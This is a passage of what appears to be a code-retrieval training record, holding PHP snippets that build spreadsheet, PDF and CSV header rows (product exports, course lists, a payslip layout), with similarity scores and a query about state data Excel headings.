'layout';\n\t\t$data[$j++] = 'related_ids';\n\t\tforeach ($languages as $language) {\n\t\t\t$styles[$j] = &$text_format;\n\t\t\t$data[$j++] = 'tags('.$language['code'].')';\n\t\t}\n\t\t$data[$j++] = 'sort_order';\n\t\t$data[$j++] = 'subtract';\n\t\t$data[$j++] = 'minimum';\n\t\t$worksheet->getRowDimension($i)->setRowHeight(30);\n\t\t$this->setCellRow( $worksheet, $i, $data, $box_format );\n\n\t\t// The actual instruments data\n\t\t$i += 1;\n\t\t$j = 0;\n\t\t$store_ids = $this->getStoreIdsForInstruments();\n\t\t$layouts = $this->getLayoutsForInstruments();\n\t\t$instruments = $this->getInstruments( $languages, $default_language_id, $instrument_fields, $exist_meta_title, $offset, $rows, $min_id, $max_id );\n\t\t$len = count($instruments);\n\t\t$min_id = $instruments[0]['instrument_id'];\n\t\t$max_id = $instruments[$len-1]['instrument_id'];\n\t\tforeach ($instruments as $row) {\n\t\t\t$data = array();\n\t\t\t$worksheet->getRowDimension($i)->setRowHeight(26);\n\t\t\t$instrument_id = $row['instrument_id'];\n\t\t\t$data[$j++] = $instrument_id;\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['name'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['categories'];\n\t\t\t$data[$j++] = $row['sku'];\n\t\t\t$data[$j++] = $row['upc'];\n\t\t\tif (in_array('ean',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['ean'];\n\t\t\t}\n\t\t\tif (in_array('jan',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['jan'];\n\t\t\t}\n\t\t\tif (in_array('isbn',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['isbn'];\n\t\t\t}\n\t\t\tif (in_array('mpn',$instrument_fields)) {\n\t\t\t\t$data[$j++] = $row['mpn'];\n\t\t\t}\n\t\t\t$data[$j++] = $row['location'];\n\t\t\t$data[$j++] = $row['quantity'];\n\t\t\t$data[$j++] = $row['model'];\n\t\t\t$data[$j++] = $row['manufacturer'];\n\t\t\t$data[$j++] = $row['image_name'];\n\t\t\t$data[$j++] = ($row['shipping']==0) ? 'no' : 'yes';\n\t\t\t$data[$j++] = $row['price'];\n\t\t\t$data[$j++] = $row['points'];\n\t\t\t$data[$j++] = $row['date_added'];\n\t\t\t$data[$j++] = $row['date_modified'];\n\t\t\t$data[$j++] = $row['date_available'];\n\t\t\t$data[$j++] = $row['weight'];\n\t\t\t$data[$j++] = $row['weight_unit'];\n\t\t\t$data[$j++] = $row['length'];\n\t\t\t$data[$j++] = $row['width'];\n\t\t\t$data[$j++] = $row['height'];\n\t\t\t$data[$j++] = $row['length_unit'];\n\t\t\t$data[$j++] = ($row['status']==0) ? 'false' : 'true';\n\t\t\t$data[$j++] = $row['tax_class_id'];\n\t\t\t$data[$j++] = ($row['keyword']) ? $row['keyword'] : '';\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['description'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\tif ($exist_meta_title) {\n\t\t\t\tforeach ($languages as $language) {\n\t\t\t\t\t$data[$j++] = html_entity_decode($row['meta_title'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['meta_description'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['meta_keyword'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['stock_status_id'];\n\t\t\t$store_id_list = '';\n\t\t\tif (isset($store_ids[$instrument_id])) {\n\t\t\t\tforeach ($store_ids[$instrument_id] as $store_id) {\n\t\t\t\t\t$store_id_list .= ($store_id_list=='') ? $store_id : ','.$store_id;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[$j++] = $store_id_list;\n\t\t\t$layout_list = '';\n\t\t\tif (isset($layouts[$instrument_id])) {\n\t\t\t\tforeach ($layouts[$instrument_id] as $store_id => $name) {\n\t\t\t\t\t$layout_list .= ($layout_list=='') ? $store_id.':'.$name : ','.$store_id.':'.$name;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$data[$j++] = $layout_list;\n\t\t\t$data[$j++] = $row['related'];\n\t\t\tforeach ($languages as $language) {\n\t\t\t\t$data[$j++] = html_entity_decode($row['tag'][$language['code']],ENT_QUOTES,'UTF-8');\n\t\t\t}\n\t\t\t$data[$j++] = $row['sort_order'];\n\t\t\t$data[$j++] = ($row['subtract']==0) ? 'false' : 'true';\n\t\t\t$data[$j++] = $row['minimum'];\n\t\t\t$this->setCellRow( $worksheet, $i, $data, $this->null_array, $styles );\n\t\t\t$i += 1;\n\t\t\t$j = 0;\n\t\t}\n\t}", "public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }", "private function makeCalendarHead()\n\t{\n\t\tif(strlen($this->headerStr) < 1) {\n\t\t\t$head = \"\\t<tr>\\n\\t\\t<th colspan=\\\"7\\\" class=\\\"headerString\\\">\";\n\t\t\tif(!is_null($this->curDay)) {\n\t\t\t\t$head .= $this->curDayName.' the '.$this->curDayS.' of '.$this->curMonthName.', '.$this->curYear;\n\t\t\t} else {\n\t\t\t\t$head .= $this->curMonthName.', '.$this->curYear;\n\t\t\t}\n\t\t\t$head .= \"</th>\\n\\t</tr>\\n\";\n\t\t} else {\n\t\t\t$head = $this->headerStr;\n\t\t}\n\t\t\n\t\t$this->calWeekDays .= $head;\n\t\t$this->outArray['head'] = $head;\n\t}", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "function print_header_entries() {\n\n $result = '';\n\n if($entries = $this->get_header_entries()) {\n $result .= '<div class=\"php_report_header_entries\">';\n foreach($entries as $value) {\n\n $label_class = \"php_report_header_{$value->css_identifier} php_report_header_label\";\n $value_class = \"php_report_header_{$value->css_identifier} php_report_header_value\";\n\n $result .= '<div class=\"' . $label_class . '\">' . $value->label . '</div>';\n $result .= '<div class=\"' . $value_class . '\">' . $value->value . '</div>';\n\n }\n $result .= '</div>';\n }\n\n return $result;\n }", "public function buildHeader() {\n return [\n ['data' => t('Teaching format'), 'class' => ['align-middle']],\n ['data' => t('Event'), 'class' => ['align-middle']],\n ['data' => t('Tutor'), 'class' => ['align-middle']],\n ['data' => t('Location'), 'class' => ['align-middle']],\n ['data' => t('Room'), 'class' => ['align-middle']],\n [\n 'data' => t('Date/time'),\n 'field' => 'time.field_event_time_value',\n 'sort' => 'desc',\n 'class' => ['align-middle'],\n ],\n ['data' => t('Registration status'), 'class' => ['align-middle']],\n ];\n }", "function Header()\n\t{\n\t\t$this->SetFont('Arial','',12);\n\t\t$this->MultiCell(190,5,nombre_empresa(),'0','C');\n\t\t$this->SetFont('Arial','',10);\n\t\t$this->MultiCell(190,5,tipo_serv(),'0','C');\n\t\t$this->SetFont('Arial','B',10);\n\t\t$this->SetTextColor(0,0,0);\n\t\t$this->MultiCell(190,7,strtoupper(_('listado de clientes para cortes')),'0','C');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->SetX(133);\n\t\t$this->Cell(12,5,strtoupper(_('fecha')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"d/m/Y\"),0,0,'L');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->Cell(12,5,strtoupper(_('hora')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"h:i:s A\"),0,0,'L');\n\t\t$this->Ln();\t\t\n\t}", "function getHeadline($id,$columns,$tablename,$idcolumn){\n\t\t$headline=\"\";\n\t\tif($idcolumn!=\"\"){\n\t\t\t$db = Database::Instance();\n\t\t\t$dataArr = $db->getDataFromTable(array($idcolumn=>$id),$tablename,$columns);\n\t\t\t$totalData = count($dataArr);\n\t\t\tif($totalData){\n\t\t\t\t$headline=$dataArr[0][$columns];\n\t\t\t}\n\t\t}\n\t\treturn($headline);\n\t}", "public function getHeaderData() {}", "public function getTitle(){\n\t\treturn $this->ol[\"ISBN:\".$this->isbn][\"title\"];\t\n\t}", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "function _webform_csv_headers_file($component) {\r\n $header = array();\r\n // Two columns in header.\r\n $header[0] = array('', '');\r\n $header[1] = array($component['name'], '');\r\n $header[2] = array(t('Name'), t('Filesize (KB)'));\r\n return $header;\r\n}", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function getHeadFilterColTemplate(): HeadFilterColTemplate;", "function Header()\n {\n // Logo\n $this->Image($_SESSION[\"ORGANIZATION_LOGO\"], 10, 1, 30); \n $this->SetFont( 'Arial', '', 17 );\n $this->Cell( 0, 15, \"PAY SLIP FOR THE MONTH OF \".$_SESSION[\"DATE\"], 0, 0, 'C' );\n $this->Ln( 16 );\n\n // First Row \n $this->SetY(40);\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Employee ID:\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"EMPLOYEE_ID\"], 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Name: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"EMPLOYEE_NAME\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // Second Row \n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Department: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"EMPLOYEE_DEPARTMENT\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Designation: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"EMPLOYEE_DESIGNATION\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // Third Row \n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Bank Account: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"BANK_ACCOUNT\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Cheque No: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"CHEQUE_NO\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // Fourth Row \n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Earned Leaves: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"EARNED_LEAVES\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Leaves: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"LEAVES\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // Fifth Row \n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Total Work Days: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"TOTAL_WORK_DAYS\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Total Presents: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"TOTAL_PRESENT\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // Sixth Row \n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Total Absents: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"TOTAL_ABSENT\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Total Half Days: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"TOTAL_HALF_DAY\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // Seventh Row \n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Total Salary: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"TOTAL_SALARY\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, \"Salary Per Hour: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'I', 8 );\n $this->Cell( 45, 5, $_SESSION[\"SALARY_PER_HOUR\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // Eight Row \n $this->SetFont( 'Arial', 'B', 10 );\n $this->Cell( 90, 5, \"Salary Per Day: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 10 );\n $this->Cell( 90, 5, $_SESSION[\"SALARY_PER_DAY\"], 1, 0, 'C', false ); \n\n $this->Ln( 5 );\n\n $this->SetFont( 'Arial', 'B', 10 );\n $this->Cell( 90, 5, \"Total Salary of this Month: \", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 10 );\n $this->Cell( 90, 5, $_SESSION[\"TOTAL_SALARY\"], 1, 0, 'C', false );\n\n $this->Ln( 10 );\n\n // Ninth Row \n $this->SetFont( 'Arial', 'B', 12 );\n $this->Cell( 45, 5, \"Earnings\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 12 );\n $this->Cell( 45, 5, \"Amount\", 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'B', 12 );\n $this->Cell( 45, 5, \"Deductions\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 12 );\n $this->Cell( 45, 5, \"Amount\", 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // Tenth Row \n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, \"Basic Pay\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, $_SESSION[\"BASIC_PAY\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, \"Income Tax\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, $_SESSION[\"INCOME_TAX\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // 11th Row \n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, \"Total Working Days\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, $_SESSION[\"TOTAL_WORK_DAYS\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, \"Advances/Loan\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, $_SESSION[\"LOAN\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // 12th Row \n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, \"Other Incentives\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, $_SESSION[\"OTHER_INCENTIVES\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, \"Lates/Leaves\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, $_SESSION[\"LATES\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // 13th Row \n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, \"Medical Allowance\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, $_SESSION[\"MEDICAL_ALLOWANCE\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, \"EOBI Contribution\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, $_SESSION[\"EOBI_CONTRIBUTION\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // 14th Row \n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, \"Other Allowance\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, $_SESSION[\"OTHER_ALLOWANCE\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, \"Other\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 8 );\n $this->Cell( 45, 5, $_SESSION[\"OTHER\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n // 15th Row \n $this->SetFont( 'Arial', 'B', 12 );\n $this->Cell( 45, 5, \"TOTAL SALARY\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 12 );\n $this->Cell( 45, 5, $_SESSION[\"TOTAL_SALARY\"], 1, 0, 'C', false ); \n\n $this->SetFont( 'Arial', 'B', 12 );\n $this->Cell( 45, 5, \"TOTAL DEDUCTIONS\", 1, 0, 'C', false );\n\n $this->SetFont( 'Arial', 'B', 12 );\n $this->Cell( 45, 5, $_SESSION[\"TOTAL_DEDUCTIONS\"], 1, 0, 'C', false );\n\n $this->Ln( 5 );\n\n }", "public function mombo_main_headings_color() {\n \n \n }", "function tck_table_head_cells($cells) {\n $newcells['custom'] = yourls__('Custom Keyword');\n $newcells['actions'] = $cells['actions'];\n \n unset($cells['actions']);\n return array_merge($cells, $newcells);\n }", "function _webform_csv_headers_email($component) {\r\n $header = array();\r\n $header[0] = '';\r\n $header[1] = '';\r\n $header[2] = $component['name'];\r\n return $header;\r\n}" ]
[ "0.7625011", "0.70080906", "0.69396335", "0.68707514", "0.6863721", "0.68358743", "0.6680663", "0.6662216", "0.6650941", "0.65088713", "0.63022065", "0.6277339", "0.6205801", "0.6150564", "0.61330605", "0.6064568", "0.6042784", "0.6016518", "0.6008064", "0.58687216", "0.5772606", "0.5761251", "0.5753218", "0.57504696", "0.55124825", "0.54818976", "0.54356885", "0.54264474", "0.542395", "0.5405023", "0.538665", "0.53850996", "0.5383736", "0.5376742", "0.5368623", "0.5337272", "0.5313442", "0.5308443", "0.5297169", "0.5295426", "0.5289054", "0.52787316", "0.52736163", "0.52725387", "0.5259088", "0.52477145", "0.52372295", "0.519602", "0.5190198", "0.51857686", "0.5161011", "0.5158734", "0.5158732", "0.51543856", "0.51537436", "0.51447517", "0.51425904", "0.5127942", "0.5125126", "0.5120983", "0.5113813", "0.5109972", "0.51006585", "0.5091802", "0.50913197", "0.50908864", "0.5090533", "0.50902086", "0.50901866", "0.50797445", "0.5077979", "0.5076161", "0.50759715", "0.50734454", "0.50678945", "0.50606924", "0.5040495", "0.50255203", "0.5024798", "0.50203186", "0.5019831", "0.501958", "0.5012103", "0.5007866", "0.4996162", "0.49943474", "0.49925444", "0.49914885", "0.4988592", "0.49859068", "0.498176", "0.49759957", "0.49709055", "0.4965482", "0.4957887", "0.4957221", "0.49566758", "0.4955509", "0.49525332", "0.4949467" ]
0.8529403
0
State Data Excel Headings
public static function excelStateHeadings() { return [ 'Code', 'Qualification', 'Priority', 'Qualification type', 'Employer size' ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "protected function getHeadRowValues() \n {\n return array(\n\t\t 